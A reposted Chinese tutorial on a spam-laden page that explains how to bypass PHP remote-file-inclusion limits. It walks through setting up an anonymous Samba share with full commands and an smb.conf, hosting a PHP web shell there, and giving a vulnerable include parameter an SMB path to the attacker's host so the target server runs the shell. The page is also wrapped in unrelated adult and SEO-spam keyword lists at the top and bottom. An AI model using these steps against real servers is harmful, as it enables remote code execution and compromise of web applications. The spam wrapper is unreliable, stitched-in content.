国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

利用SMB共享來繞過php遠程文件包含的限制

2024-05-05 00:09:25
字體:
供稿:網(wǎng)友

利用SMB共享來繞過php遠程文件包含的限制

在這篇博文中,我將為大家演示如何利用PHP應用中的遠程文件包含漏洞的技術(shù)。我們將繞過php遠程文件包含的限制,并執(zhí)行RFI的利用,即使PHP環(huán)境被配置為不包含來自遠程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件訪問

在PHP配置文件中,“allow_url_include”wrapper默認設(shè)置為“Off”,指示PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設(shè)置為“Off”,PHP也不會阻止加載SMB URL。而這就極有可能被濫用來從SMB共享加載遠程托管的PHP Web shell。

攻擊場景概述

當易受攻擊的PHP應用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時,SMB共享應允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權(quán)限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何的憑據(jù),易受攻擊的應用程序?qū)琖eb shell的PHP代碼。

首先,我重新配置了PHP環(huán)境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名瀏覽訪問的SMB服務器。一旦SMB共享準備就緒,我們就可以利用易受攻擊的應用程序了。

PHP 環(huán)境設(shè)置

將托管易受攻擊代碼的機器上的“allow_url_fopen”和“allow_url_include”設(shè)置為“Off”

以下是版本為“5.5.11”的PHP當前配置截圖:

在繼續(xù)下一步之前,讓我們確保當我們嘗試訪問HTTP上托管的Web shell時,PHP代碼不允許遠程文件包含。

可以看到,當我試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤并且沒有包含遠程文件。

使用匿名瀏覽訪問配置 Samba 服務器(Linux 機器)
使用以下命令安裝Samba服務器:

apt-get install samba創(chuàng)建SMB共享目錄:

mkdir /var/www/html/pub/

配置新創(chuàng)建的SMB共享目錄的權(quán)限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

運行以下命令,刪除SAMBA服務器配置文件的默認內(nèi)容。

echo > /etc/samba/smb.conf將以下內(nèi)容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody現(xiàn)在,重啟SAMBA服務器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重啟SAMBA服務器后,嘗試訪問SMB共享并確保SAMBA服務器不要求提供憑據(jù)。

在本例中,SAMBA服務器IP為192.168.0.3,我需要訪問Windows文件瀏覽器中的SMB共享,如下:

//192.168.0.3/

在 SMB 共享中托管 PHP Web shell

太棒了!可以訪問smb共享,并顯示目錄“ica”存在。

現(xiàn)在,將PHP shell托管在目錄“/var/www/html/pub”中,該目錄為smb共享目錄“ica”。

成功托管PHP shell后,我們使用Windows文件瀏覽器訪問SMB共享目錄“ica”。

//192.168.0.3/ica/可以看到php shell存在于smb共享目錄中,在本例中為box.php文件。

利用文件包含易受攻擊的參數(shù)
讓我們使用這個PHP shell SMB鏈接,以及易受攻擊的php代碼瀏覽它。

http://vulnerable_application/page.php?page=//192.168.0.3/ica/box.phpPHP易受攻擊的代碼從SMB共享中獲取了web shell,并在應用程序服務器上執(zhí)行了代碼/m/。我們已經(jīng)繞過了php遠程文件包含的限制,并包含了托管在遠程主機上的Web shell。


注:相關(guān)教程知識閱讀請移步到PHP教程頻道。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 门源| 鹤庆县| 桃园市| 通城县| 习水县| 蓬安县| 扬州市| 永新县| 洱源县| 宣汉县| 九寨沟县| 肥乡县| 福建省| 太保市| 广汉市| 江陵县| 新余市| 新巴尔虎左旗| 襄城县| 历史| 唐河县| 阿克| 潢川县| 麦盖提县| 正定县| 墨脱县| 武城县| 青神县| 红安县| 扶绥县| 罗定市| 宿松县| 泰宁县| 永济市| 阿克苏市| 库车县| 万年县| 滕州市| 伊春市| 芜湖县| 克山县|